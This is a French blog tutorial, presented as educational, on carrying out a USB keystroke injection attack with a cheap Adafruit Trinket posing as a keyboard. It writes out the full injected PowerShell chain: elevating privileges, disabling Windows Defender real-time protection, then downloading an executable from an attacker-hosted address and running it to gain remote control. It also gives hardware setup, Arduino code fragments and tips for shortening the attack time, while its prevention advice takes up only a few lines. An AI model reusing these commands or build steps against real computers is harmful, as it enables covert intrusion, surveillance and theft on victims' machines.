Vous ne laisserez plus votre ordinateur sans surveillance.

Tanguy Pledel
11 min readJun 12, 2020

Aujourd’hui je vais vous expliquer, à titre éducatif, comment fonctionne une Keystroke Injection Attack et comment vous en prévenir (accessible à tous), puis mon processus de pensée et comment j’ai reproduit cette attaque pour moins de 10€ (accessible aux amateurs d’informatique/électronique).

Qui suis-je ?
Etudiant à l’emlyon business school, je suis actuellement en stage au makers’ lab de mon école, une entité dont le but est de développer la pédagogie maker et de transmettre des connaissances aux étudiants sur 5 piliers (Intelligence Artificielle, Prototypage, Internet des objets, Web, Fabrication numérique) pour en faire des managers de demain.
De nombreux contenus sont disponibles en libre accès sur leur site internet.

Avec l’envie d’en savoir plus sur les ordinateurs et les réseaux, j’ai commencé à m’intéresser au hacking éthique lors du confinement au printemps 2020 en suivant les cours de Zain (zsecurity) sur Udemy.

Qu’est-ce donc qu’une Keystroke Injection Attack ?
Vous vous êtes absenté l’espace d’une minute, rien ne semble avoir changé et pourtant plus rien n’est comme avant…

Vous avez peut-être déjà vu cette clé USB avec une tête de mort dans de très mauvais films.

Effectuer une Keystroke Injection Attack, c’est le fait de brancher physiquement un appareil via USB à l’ordinateur d’une cible. Cet appareil va être reconnu comme un clavier par votre ordinateur et exécuter un script qui va envoyer une suite de touches,comme si quelqu’un tapait sur votre PC à une vitesse importante.

En quelques secondes, cette suite de touches va permettre d’appeler de nombreux raccourcis et d’effectuer de nombreuses actions sur votre ordinateur et vous ne remarquerez rien à votre retour.

Dans l’attaque que nous allons voir en détail (il existe une infinité de choses à faire avec ce type d’attaque), la suite de touches permet au hacker de faire télécharger un fichier à votre ordinateur depuis internet et de l’executer pour permettre au hacker d’effectuer des actions à distance à posteriori.

N’ayez pas seulement peur des clés USB, avec les années, les hackers se diversifient et cachent ce type de système dans de nombreux objets ayant l’air innoffensifs qui peuvent se connecter en USB (clé USB, manettes de jeux-vidéos, Souris, ventilateurs, lampes, batteries externes…).
Vous pourriez ainsi vous faire offrir un cadeau et effectuer vous-même l’attaque contre votre propre poste sans le savoir.

Comment notre attaque fonctionne ?
Tout d’abord cela demande à ce que vous laissiez votre ordinateur sans surveillance quelques dizaines de secondes, pour cela les hackers font appel au social engineering : des techniques sociales, psychologiques enrichies ou non par les informations qu’ils peuvent récupérer sur vous de diverses manières. Ces dernières permettent de vous mettre en confiance et/ou de vous manipuler.

Voilà ce qui va se passer lorsque le hacker aura connecté son appareil à votre ordinateur via USB.

Première étape : Ouvrir Powershell
Pour cette démonstration, je vous montre l’attaque sur Windows, mais il est tout à fait possible de faire la même chose sur un Mac.

Windows + R
Ce raccourci clavier permet l’ouverture de la fenêtre executer de Windows depuis laquelle on peut executer une application, ouvrir un document…

powershell Start-Process powershell -Verb runAs
Dans notre cas, nous allons nous en servir pour ouvrir PowerShell, une interface qui permet de demander à l’ordinateur d’effectuer des actions en entrant des commandes (de manière simplifiée).
Mais nous n’allons pas seulement ouvrir powershell, nous allons l’ouvrir avec des droits d’administration, l’équivalent d’un clique droit, exécuter en tant qu’administrateur, cela nous permettra de lancer davantage de commandes une fois dans PowerShell.

Entrer
Après avoir écrit la commande, le clavier “virtuel” simule une touche “entrer” pour exécuter cette dernière.

Alt + O
Quelques temps (diffère en fonction de l’ordinateur cible) après avoir envoyé la touche entrer, une fenêtre de validation apparaît. On demande alors au clavier virtuel d’attendre quelques millisecondes/secondes et d’effectuer le raccourci clavier Alt + O qui permet de valider sans avoir à cliquer.

Etape 2 : Télécharger un fichier et l’exécuter à l’aide de PowerShell

Set-MpPreference -DisableRea $true;
Cette commande permet de désactiver la protection en temps réel (Real-time Monitoring en anglais) de Windows Defender, la protection de base de Windows (hors antivirus). Cette dernière empêche les programme malveillants de s’exécuter lorsqu’elle les détecte.

$d = New-Object System.Net.WebClient;
Avec cette commande, on créé un client web dans une variable “d” que l’on réutilisera plus tard. Cela va nous permettre d’aller sur internet, comme lorsque vous cliquez sur Google Chrome et lancez une recherche.

$f = ‘1.exe’;
On créé un nom/espace de fichier que l’on va stocker dans la variable f.

$d.DownloadFile(‘http://192.168.1.12/s.exe',$f);
Maintenant, tout va prendre son sens, avec la variable d (notre client web), on va télécharger ce qui est sur la page web “http://192.168.1.12/s.exe”, puis stocker le fichier “s.exe” dans la variable f crée au préalable.
“s.exe” est le fichier malveillant que le hacker a créé puis hébergé à cette adresse internet avant de lancer l’attaque (je n’expliquerai pas cette partie dans cet article).

$e = New-Object -com shell.application; $e.shellexecute($f);
Ces deux commandes permettent d’exécuter le fichier contenu dans f, c’est-à-dire le fichier que l’on vient de télécharger.
En s’exécutant, le fichier va permettre au Hacker de bénéficier d’un “lien” entre votre ordinateur et le sien, afin de prendre le contrôle de nombre de fonctions de votre ordinateur.
Ces fonctionnalités incluent entre autres la prise de contrôle et l’enregistrement du flux vidéo de votre webcam, de l’audio de votre micro, l’enregistrement des touches tapées…

exit;
Cette dernière commande permet tout simplement de fermer la fenêtre PowerShell une fois les commandes précédentes exécutées.
Ainsi, lorsque vous retournerez sur votre ordinateur, tout vous semblera comme avant et pourtant en moins de 10 secondes, un hacker aura gagné accès à votre ordinateur et pourra conduire de nombreuses attaques supplémentaires depuis son ordinateur.

Alors, comment se protéger contre ce genre d’attaques ?
Tout d’abord, lorsque vous laissez votre ordinateur sans surveillance, pensez à verrouiller votre ordinateur, cela vous évitera aussi de vous faire changer votre fond d’écran par vos collègues…

Windows + L : Permet de verrouiller rapidement votre ordinateur

Puis faites attention aux personnes qui vous appellent et prônent vous donner un ordre de la part de quelqu’un d’autre, sans tomber dans la paranoïa, méfiez vous des gens avec qui vous devenez vite amis et que vous invitez chez vous et surtout renseignez vous sur les techniques de social engineering.

L’une des premières choses que j’ai appris en m’intéressant au hacking est que la principale faille de cybersécurité est humaine.

Bonus : ce qui se sera passé en votre absence

Fin de la première partie, si vous avez des questions, recommandations, critiques constructives, vous pouvez me les adresser à la fin de cet article ou sur LinkedIn.

Si vous êtes arrivés jusqu’ici, c’est que vous souhaitez en savoir plus sur la façon dont mener cette attaque techniquement. Mais avant de plonger dans le sujet, je voulais vous raconter comment j’en suis arrivé à choisir la solution dont je vais parler, afin de justifier ce choix et parceque l’on oublie souvent la période d’itération lorsque l’on lit un article, on peut penser que la solution est tombée du ciel.

Vous savez peut-être que cette attaque peut-être réalisée assez simplement en utilisant le populaire rubber ducky de chez Hack5 pour 50$.

Mais si comme moi, vous n’avez pas 50$…

Let me tell you another story…

Tout a commencé lorsque j’ai visionné la vidéo dans laquelle Zain (zsecurity) parvient à mener une Keystroke Injection Attack en branchant son portable en USB à l’ordinateur d’un de ses clients. J’ai souhaité reproduire l’expérience, mais les outils nécessaires n’étaient pas disponibles/compatibles avec mon portable.

J’ai ensuite cherché à acheter une clé USB pour la transformer en badusb, mais les clés USB supportant cette transformation se font de plus en plus rares sur le marché en 2020 et sont chères.

Finalement j’ai trouvé une badusb à 15€ (frais de port inclus) sur le marché, CJMCU-32 composée d’un équivalent d’Arduino Leonardo et du composant ATMEGA32U4 qui lui permet de se connecter en tant que clavier.
Seul bémol, les 20 jours de livraison…

Alors j’ai contacté mon collègue de travail Lionel Radisson* qui s’occupe entre autres de l’électronique au makers’ lab d’Ecully, pour savoir si on avait des Arduino Leonardo ou des Arduino Micro (carte avec le même micro-controlleur).

*vous pouvez suivre son travail sur le design génératif sur son site internet ou son twitter.

Nous n’en avions pas mais il m’a prêté une petite carte électronique nommée Adafruit Trinket Pro qui permet de faire sensiblement la même chose.

Comment réaliser cette attaque ?

Adafruit Trinket Pro et câble USB

Matériel nécessaire :
Câble USB-A 2.0 vers micro-USB 2.0 Type-B
, que l’on a tous chez nous.
ET
Adafruit Pro Trinket :
9.99$
OU
Adafruit Trinket : 6.99$
L’attaque est réalisable avec les deux Trinket et peu de choses changent au niveau de sa mise en place, si vous avez un petit budget et peu de connaissances en électronique, choississez par défaut l’Adafruit Trinket.
Pour ma part, j’utiliserai une Adafruit Pro Trinket puisque c’est celle que l’on m’a prêtée.

Première étape : Préparer l’IDE Arduino pour l’Adafruit Trinket
IDE : Environnement de développement (Integrated development environment)

Si vous n’avez pas encore l’IDE Arduino sur votre ordinateur, vous pouvez le télécharger ici.

Capture d’écran de l’IDE Arduino

Une fois que vous avez installé et ouvert l’IDE Arduino, rendez-vous dans Fichier > Préférences.
Dans URL de gestionnaire de cartes supplémentaires copiez :

https://adafruit.github.io/arduino-board-index/package_adafruit_index.json

Puis cliquez sur “ok”, cette manipulation va vous permettre d’accéder aux libraries d’Adafruit, dont celles des Trinket.

Rendez-vous dans Outils > Gérer les bibliothèques et installez la bibliothèque Pro Trinket USB Keyboard.
Ensuite, allez dans Outils > Type de carte > Gestionnaire de carte et installez Adafruit AVR Boards.

Si tout s’est déroulé comme prévu, vous devriez pouvoir sélectionner le nom de la carte que vous avez dans Outils > Type de carte.
Dans mon cas, Adafruit Pro Trinket 5V/16MHz (USB).

Enfin, allez dans Outils > Programmateur et sélectionnez USBtinyISP.

Dernière effort avant de pouvoir coder, vous allez devoir installer les driver Adafruit pour votre système d’exploitation. Vous pouvez le télécharger ici, le site vous guidera dans son installation.

Deuxième étape : Let’s code
Pour cette étape, l’article Medium d’Adam Eaton m’a beaucoup aidé.

Photo by Max Duzij on Unsplash

La première chose à faire est d’appeler la library que l’on a installé avant en utilisant la commande :

#include <ProTrinketKeyboard.h>

Dans le cas d’un Trinket normal :

#include <TrinketKeyboard.h>

Cela va nous permettre d’importer des fonctions la correspondance des touches avec un keycode déjà codées en C++.
En ouvrant ce document, on peut par exemple voir que la touche “A” correspond au keycode “0x04”, cela nous servira un peu plus tard.

Nous allons coder dans la fonction setup (la fonction qui s’exécute au démarrage de la carte électronique), ce qui permet au Trinket de se faire reconnaître comme HID (Human Interface Device) par l’ordinateur afin de le faire passer pour un clavier.

void setup() {
TrinketKeyboard.begin();
}

Puis au dessus de la fonction setup, nous allons définir plusieurs fonctions qui nous permettront plus tard d’effectuer des actions, des raccourcis claviers.

La première fonction que nous allons créer nous permettra de simuler une pression sur la touche “Entrer”.
On utilise la méthode TrinketKeyboard.pressKey avec le keycode correspondant à la touche “Entrer”, 0x28. On attends 10 millisecondes. Puis on réutilise la méthode avec 0 comme argument pour lui dire de relâcher la touche. Enfin, on attend 0,3 secondes que la commande soit prise en compte par l’ordinateur.

La seconde fonction que nous allons créer permettra de simuler le raccourci Windows+R,
permettant d’ouvrir la fenêtre “exécuter” comme vu précédemment.
La seule différence avec la fonction pressEnter() est que nous devons appuyer sur deux touches en même temps. Pour cela, nous allons utiliser la méthode avec deux arguments.

La dernière fonction permet d’accepter une demande d’autorisation, alt + Y en anglais ou alt + O en français.

Nous allons maintenant compléter notre fonction setup qui s’exécute à la connexion du périphérique USB pour ouvrir PowerShell avec des droits administrateurs.

Premièrement, nous allons appeler notre fonction winRun().
À travers divers tests, je me suis rendu compte qu’en appelant la fonction une seule fois, elle ne s’ouvrait qu’une fois sur deux, alors je l’appelle deux fois dans le code pour être sûr que l’on ait la fenêtre exécuter d’ouverte in fine.

Puis nous allons utiliser la méthode TrinketKeyboard.print() qui permet simplement de taper des lignes de texte.
À ce moment là, vous allez vous rendre compte, comme moi, que lorsque vous allez demander à la Trinket de taper “azertyuiop”, elle va vous taper “qwertyuiop”.

Vous avez donc trois possibilités, soit vous savez coder en C++ et vous modifiez la library de la Trinket pour la faire taper en azerty, soit vous trouvez/écrivez un script qui permet de transformer du qwerty en azerty.

Soit vous faites comme moi et passez votre clavier en anglais (US), appuyez sur la touche inser de votre clavier et recopiez vos commandes.
Ainsi, la commande qui permet d’ouvrir PowerShell avec des droits d’administration, “powershell Start-Process powershell -Verb runAs” devient “pozershell Stqrt6Process pozershell 6Verb runQs”.

À la suite de cette commande, on simulera une touche entrer et on validera la demande d’autorisation.

red pill or blue pill?

Nous y sommes, nous avons gagné accès à PowerShell avec des droits d’administration, ils ne nous reste plus qu’à télécharger le fichier et partir le plus vite possible…

PS : Vous pouvez réduire le temps de l’attaque en réduisant le délai entre chaque commande, le temps que j’ai codé est assez long car je le testais sur une Virtual Machine avec peu de ressources.

Pour cela, nous allons procéder de la même manière que précédemment, nous pouvons mettre toutes les commandes à la suite dans PowerShell, il les executera dans l’ordre, l’une après l’autre, finissant ainsi par “exit”.
Ce qui veut dire que lorsque la fenêtre de PowerShell se ferme, la Keystroke Injection Attack sera officiellement finie.

Et voilà, nous y sommes, à partir de ce moment, quelques lignes apparaîssent sur notre Kali Linux (ou autre) et nous annoncent que nous pouvons effectuer différentes actions sur l’ordinateur de notre cible.

La totalité du code arduino utilisé se trouve ici.

Pour allez plus loin, au makers’ lab ou dans un lieu similaire, vous pouvez faire un peu d’électronique et vous créer un boîtier avec plusieurs boutons permettant de lancer des attaques différentes.

J’espère que vous avez apprécié cette histoire et que vous avez pu apprendre des choses. Je rappelle que toute cette démarche est à but éducatif. N’hésitez pas à me contacter sur LinkedIn si vous avez des questions, recommandations, critiques constructives.

--

--

Tanguy Pledel

Etudiant à l’emlyon business school, passionné de nouvelles technologies, de jeux-vidéos, de science-fiction et des sciences en général.